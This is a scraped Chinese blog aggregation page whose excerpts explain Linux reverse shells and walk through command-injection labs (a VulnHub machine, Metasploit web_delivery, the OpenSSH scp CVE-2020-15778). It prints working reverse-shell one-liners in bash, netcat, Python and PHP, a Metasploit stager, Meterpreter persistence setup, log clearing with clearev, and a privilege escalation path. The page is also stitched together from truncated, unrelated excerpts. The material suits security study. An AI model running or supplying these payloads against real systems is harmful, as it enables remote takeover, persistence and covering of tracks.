精华内容
下载资源
问答
  • 在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个命令就可以反弹shell了,却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们...

    前言


    当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的。在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个命令就可以反弹shell了,却没有一篇文章介绍这些命令究竟是如何实现反弹shell的。既然大牛们懒得科普,那我就只好自己动手了。本文就来探讨一下相关命令实现的原理。


    Bash


    这篇文章的起因就是网上给的Bash反弹shell的实现:

    1
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

    看到这短短的一行代码,正在复习Linux,自我感觉良好的我顿时充满了挫败感,这都是些什么鬼。于是决定一定要搞明白它。

    首先,bash -i是打开一个交互的bash,这个最简单。我们先跳过“>&”和“0>&1”,这两个是本文重点,等会再说。先来说“/dev/tcp/”。

     /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

    要想了解“>&”和“0>&1”,首先我们要先了解一下Linux文件描述符和重定向。

    linux shell下常用的文件描述符是:

    1.  标准输入   (stdin) :代码为 0 ,使用 < 或 << ; 

    2.  标准输出   (stdout):代码为 1 ,使用 > 或 >> ; 

    3.  标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

    很多资料都会告诉我们,2>&1是将标准错误输出合并到标准输出中,但是这四个符号具体要如何理解呢?我刚开始直接将2>看做标准错误输出,将&看做and,将1看做标准输出。这样理解好像也挺对,但是如果是这样的话0>&1又该如何理解呢?

    其实&根本就不是and的意思,学过C/C++的都知道,在这两门语言里,&是取地址符。在这里,我们也可以将它理解为取地址符。

    好了,基本知识说完了,下面我们就探讨一下困扰了我一天的“>&”究竟是什么意思。首先,我在查资料的过程中虽然没有查到“>&”究竟是什么,但是有一个跟它长得很像的符号却被我发现了,那就是“&>”,它和“2>&1”是一个意思,都是将标准错误输出合并到标准输出中。难道“>&”和“&>”之间有什么不为人知的交易?让我们来动手测试一下。

    http://p0.qhimg.com/t018103f64da7f9688a.png

    从图片中我们可以看到,在这里">&"和“&>”作用是一样的,都是将标准错误输出定向到标准输出中。

    既然如此,那么我们就把他俩互换试试看,究竟结果一不一样。

    我在虚拟机里执行

    1
    bash -i >& /dev/tcp/10.0.42.1/1234

    结果如下图所示,虽然命令和结果都在我本机上显示出来了,但实际上命令并不是在本机上输入的,而是只能在虚拟机里面输入,然后命令和结果都在我本机上显示。

    http://p8.qhimg.com/t019f28c3bb9f43c90e.png

    http://p7.qhimg.com/t01fb430cf20c8cd35d.png

    我们再执行

    1
    bash -i &> /dev/tcp/10.42.0.1/1234

    效果是一样的,就不上图了。所以由实践可知,“>&”和我们常见的“&>”是一个意思,都是将标准错误输出重定向到标注输出。

    好了,一个问题已经解决,下一个就是“0>&1”。我们都知道,标准输入应该是“0<”而不是“0>”,难道这个跟上一个问题样都是同一个命令的不同写法?让我们试一下“0<&1”,看看会发生什么。

    http://p8.qhimg.com/t017c416915e0858e0e.png

    http://p7.qhimg.com/t01a654246470f5c852.png

    在上图中我们得到了一个交互的shell。果然是这样!“0>&1”和“0<&1”是一个意思,都是将标准输入重定向到标准输出中。使用

    1
    bash -i &> /dev/tcp/10.42.0.1 0<&1

    同样能反弹一个可交互的shell。

    综上所述,这句命令的意思就是,创建一个可交互的bash和一个到10.42.0.1:1234的TCP链接,然后将bash的输入输出错误都重定向到在10.42.0.1:1234监听的进程。


    NetCat


    如果目标主机支持“-e”选项的话,我们就可以直接用

    1
    nc -e /bin/bash 10.42.0.1 1234

    但当不支持时,我们就要用到Linux神奇的管道了。我们可以在自己机器上监听两个端口,

    1
    2
    nc -l -p 1234 -vv
    nc -l -p 4321 -vv

    然后在目标主机上执行以下命令:

    1
    nc  10.42.0.1 1234  |  /bin/bash  |  nc 10.42.0.1 4321

    这时我们就可以在1234端口输入命令,在4321端口查看命令的输出了。

    管道“|”可以将上一个命令的输出作为下一个命令的输入。所以上面命令的意思就是将10.42.0.1:1234传过来的命令交给/bin/bash执行,再将执行结果传给10.42.0.1:4321显示。


    Python


    1
    2
    3
    4
    5
    6
    7
    8
    python -c 
    import socket,subprocess,os;
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    s.connect(("10.42.0.1",1234));
    os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1); 
    os.dup2(s.fileno(),2);
    p=subprocess.call(["/bin/bash","-i"]);'

    python -c表示执行后面的代码。首先引入了三个库socket,subprocess,os,这三个库后面都要用到,然后创建了一个使用TCP的socket,接着执行connect函数连接到黑客主机所监听的端口。接着执行os库的dup2函数来进行重定向。dup2传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。 这个函数最大的作用是重定向。三个dup2函数先后将socket重定向到标准输入,标准输入,标准错误输出。最后建立了一个子进程,传入参数“-i”使bash以交互模式启动。这个时候我们的输入输出都会被重定向到socket,黑客就可以执行命令了。

    http://p3.qhimg.com/t010ef8a3bfdadc89c6.png

    http://p3.qhimg.com/t01a0346934590463b9.png

    我们可以看到成功的弹回了一个shell。


    总结


    在对信息安全的学习中,我们要时刻保持好奇心,多问为什么,要多去探究根本原理,而不是只会使用工具和死记硬背,遇到不会又搜不到答案的问题,我们要大胆猜想,小心求证,只有这样我们才能不断的进步,在信息安全的领域越走越远


    转自:http://bobao.360.cn/learning/detail/3616.html

    展开全文
  • 利用命令注入getshell

    2021-03-17 19:30:48
    利用命令注入getshell 靶机ip:192.168.41.129 kali:192.168.41.128 任务:靶机存在命令注入漏洞,获取靶机权限。 漏洞原理 命令执行直接调用操作系统命令。其原理是,在操作系统中,“&、|、I都可以作为命令...

    利用命令注入getshell

    靶机ip:192.168.41.129
    kali:192.168.41.128
    任务:靶机存在命令注入漏洞,获取靶机权限。

    漏洞原理

    命令执行直接调用操作系统命令。其原理是,在操作系统中,“&、|、I都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,造成命令执行漏洞。

    规则

    command1&command2 两个命令同时执行
    command1&&command2 只有前面命令执行成功,后面命令才继续执行
    command1;command2 不管前面命令执行成功没有,后面的命令继续执行
    command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

    更多漏洞原理请点击–>传送门

    过程

    信息收集总在前。
    在这里插入图片描述
    可以看出是开放80端口的,查看漏洞场景如下:
    在这里插入图片描述
    输入:127.0.0.1&&whoami
    在这里插入图片描述
    可以看到命令已运行,为命令执行漏洞,可利用。
    (该项目源码没有对IP地址设置过滤或其他封装)
    我们打开号称可以黑掉整个宇宙的msf:
    在这里插入图片描述
    输入:use exploit/multi/script/web_delivery 打开模块
    输入:show options 查看需要配置项
    在这里插入图片描述
    输入:show targets 查看支持哪些目标的反弹shell
    在这里插入图片描述
    输入:set lhost 192.168.41.128
    set lport 4444
    run
    在这里插入图片描述反弹出来了用于命令注入的payload

    python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.41.128:8080/gFMA7a4QqE', context=ssl._create_unverified_context());exec(r.read());"
    

    我们将其插入注入点。
    在这里插入图片描述
    点击执行,稍等片刻。
    在这里插入图片描述
    发现给了1个session,我们执行:sessions
    在这里插入图片描述
    输入:sessions 1 得到 meterpreter
    在这里插入图片描述
    输入:sysinfo 查看系统信息
    在这里插入图片描述
    更多meterpreter用法移步–>传送门

    生成持续性后门

    使用Persistence模块
    使用:run persistence -h 查看帮助文档
    在这里插入图片描述
    使用:run persistence -U -i 5 -p 5555 -r 192.168.41.129
    -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
    -i:设置反向连接间隔时间,单位为秒;
    -p:设置反向连接的端口号;
    -r:设置反向连接的ip地址。

    痕迹清除

    使用:clearev 删除日志

    后渗透阶段的常用命令总结

    ls列出目标主机的文件和文件夹信息
    use priv加载特权提升扩展模块,来扩展meterpreter库
    ps显示所有运行进程以及关联的用户账户
    getsystem通过各种攻击向量来提升到系统用户权限
    shell以所有可用令牌来运行一个交互的shell
    screenshot对目标主机的屏幕进行截图
    upload file向目标主机上传文件
    download file从目标主机下载文件
    sniffer_interfaces列出目标主机所有开放的网络接口
    sniffer_dump interfaceID pcapname在目标主机上启动嗅探
    sniffer_start interfaceID packet_buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探
    sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据
    sniffer_stop interfaceID 停止嗅探
    add_user username password -h ip在远程目标主机上添加一个用户
    add_group_user “Domain Adimins”username -h ip将用户添加到目标主机的域管理员组中
    clearev清除目标主机上的日志记录
    timestomp修改文件属性,例如修改文件的创建时间(反取证调差)
    reboot重启目标主机
    相关文章请移步

    展开全文
  • 发现command.php页面含有ping命令,联系到命令注入,可用burpsuite进行抓包 给发送包后面添加;ifconfig,并查看返回包,执行成功 5.开启监听,尝试通过php反弹shell ;php -r '$sock=fsockopen("192....

    靶机下载地址:https://download.vulnhub.com/acid/Acid.rar

    1.主机发现

    2.端口信息扫描

    3.访问该端口

    查看源码,未发现有效信息

    4.尝试扫描一下web目录:打开kali自带的DirBuster或者御剑

    或者

    依次访问看看

    是一个数据库文件下载

    下载后打开看看,乱码未能解析

    访问Challenge目录下网页

    是一个登录界面,对该目录下继续进行扫描

    继续访问

    下面是一个文件包含漏洞页面,未发现上传点,无法拿shell

    继续扫描/Challenge/Magic_Box下的目录

    依次访问

    发现command.php页面含有ping命令,联系到命令注入,可用burpsuite进行抓包

    给发送包后面添加;ifconfig,并查看返回包,执行成功

    5.开启监听,尝试通过php反弹shell

    ;php -r '$sock=fsockopen("192.168.109.159",7777);exec("/bin/sh -i <&3 >&3 2>&3");'  使用URL编码,防止不执行

    反弹shell成功

    使用python调用本地shell

    查看权限信息以及有哪些用户

    6.提权

    查看用户文件:find / -user acid 2>/dev/null  #查找acid用户文件,并将标准错误重定向到空设备(即不显示报错)

    搜索一下如何利用,发现这是一个wireshark流量抓包文件,传送到本地,用wireshark打开看看

    scp /sbin/raw_vs_isi/hint.pcapng root@192.168.109.159:/root/

    在kali中打开ssh服务

    再次传送文件成功

    用kali自带的wireshark打开

    切换用户试试,用户名:saman  密码:1337hax0r

    切换成功,使用sudo -i提权至root用户

    • sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
    • su : 切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制。
    • sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。

    参考:https://forum.ubuntu.org.cn/viewtopic.php?t=372636

    查看flag文件

    展开全文
  • OpenSSH 命令注入漏洞(CVE-2020-15778) 等级: 高危 类型:命令执行 影响版本: OpenSSH <= 8.3p1 利用难度:简单 漏洞介绍 漏洞公开披露2020年7月18日,openssh 8.3p1的SCP命令存在命令注入漏洞,攻击者可以利用...

    CVE-2020-15778漏洞复现学习

    作者:ch4nge



    漏洞信息

    漏洞名称
    OpenSSH 命令注入漏洞(CVE-2020-15778)

    等级
    高危

    类型:命令执行

    影响版本
    OpenSSH <= 8.3p1

    利用难度:简单

    漏洞介绍

    漏洞公开披露2020年7月18日,openssh 8.3p1的SCP命令存在命令注入漏洞,攻击者可以利用此漏洞执行任意命令。

    1. scp命令

    简单来说就是A这里执行scp命令,将A电脑里的文件传输到B电脑(linux系统)

    命令格式
    scp [参数] [原路径] [目标路径]

    2. 模拟环境搭建

    环境效果:不可以ssh连接,可以使用scp

    看到大佬说有两种方式,这里使用iptables策略搭建

    靶机环境:CentOS7,ip:192.168.1.135

    渗透机环境:Kali 2020,ip:192.168.1.160

    1. 查看ssh版本(CentOS)

    00

    2.正常情况下ssh和scp命令执行情况(Kali)

    01

    3.使用iptables策略搭建环境,禁用ssh登录,只保留scp(CentOS)

    (1)安装iptables

    yum install -y iptables
    

    (2)安装iptables-services

    yum install iptables-services 
    

    (3)关闭防火墙

    CentOS默认自带firewalld

    $ 停止firewalld服务 
    $ systemctl stop firewalld
    $ 禁用firewalld服务 
    $ systemctl mask firewalld 
    

    (4)查看现有规则

    iptables -L -vn
    
    iptables -F是清空默认规则
    
    iptables -L -n --line-number 显示规则和相对应的编号
    

    (5)设置策略

    02

    命令:

    service iptables start
    iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
    service iptables save
    iptables -L -n --line-number 
    

    4. 测试ssh与scp在已设置iptables策略下的使用情况

    03

    scp功能正常使用,但是ssh在输入密码后,无任何回响,无法连接,证明iptables策略成功有效。

    3. scp命令注入漏洞利用

    1. 在kali里面新建1.sh,写入反弹shell的bash命令

    bash -i >& /dev/tcp/192.168.1.160/6666 0>&1
    

    2.在kali监听6666端口

    nc -lvp 6666
    

    或者使用revshellgen

    04

    3. 使用scp命令传输文件到CentOS的/tmp目录

    scp 1.sh root@192.168.1.135:/tmp/1.sh
    

    05

    4. 命令执行,运行1.sh

    scp 1.sh root@192.168.1.135:/'`sh /tmp/1.sh`'
    

    06

    成功反弹shell,实验结束!
    07

    4. 漏洞分析

    if (remin == -1) {
    	xasprintf(&bp, "%s -t %s%s", cmd,
    	    *targ == '-' ? "-- " : "", targ);
    	if (do_cmd(thost, tuser, tport, bp, &remin,
    	    &remout) < 0)
    		exit(1);
    	if (response() < 0)
    		exit(1);
    	free(bp);
    }
    

    当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令。

    5. 修复建议

    补丁/升级

    总结:此漏洞局限性很大,需要ssh的密码。。。通过这次操作收获良多,漏洞无处不在~好好学习!努力!奋斗!

    其他

    参考https://www.shangyexinzhi.com/article/2244053.html

    https://my.oschina.net/u/4593034/blog/4666815

    iptables策略https://www.cnblogs.com/hana-alice/p/10097357.html

    SCP的代码-https: //github.com/openssh/openssh-portable/blob/master/scp.c

    展开全文
  • 目录漏洞描述影响版本漏洞复现环境搭建反弹shell防御方法 漏洞描述 Apache Solr是一个开源的搜索服务器。Solr使用Java语言开发,该漏洞产生的主要原因是因为apache dataimporthandler数据外部收集的一个端口模块,该...
  • Oracle注入 - 命令执行&Shell反弹

    万次阅读 2018-05-07 09:37:00
    https://www.t00ls.net/thread-45663-1-1.html0x01 Oracle安装CentOS 7 安装oracle10g,装了一天,特此记录 oracle9i,10G,11G,各版本下载资源Centos6/7下静默安装oracle10g0x02 命令执行本文测试环境均为:CentOS ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 2,538
精华内容 1,015
关键字:

命令注入反弹shell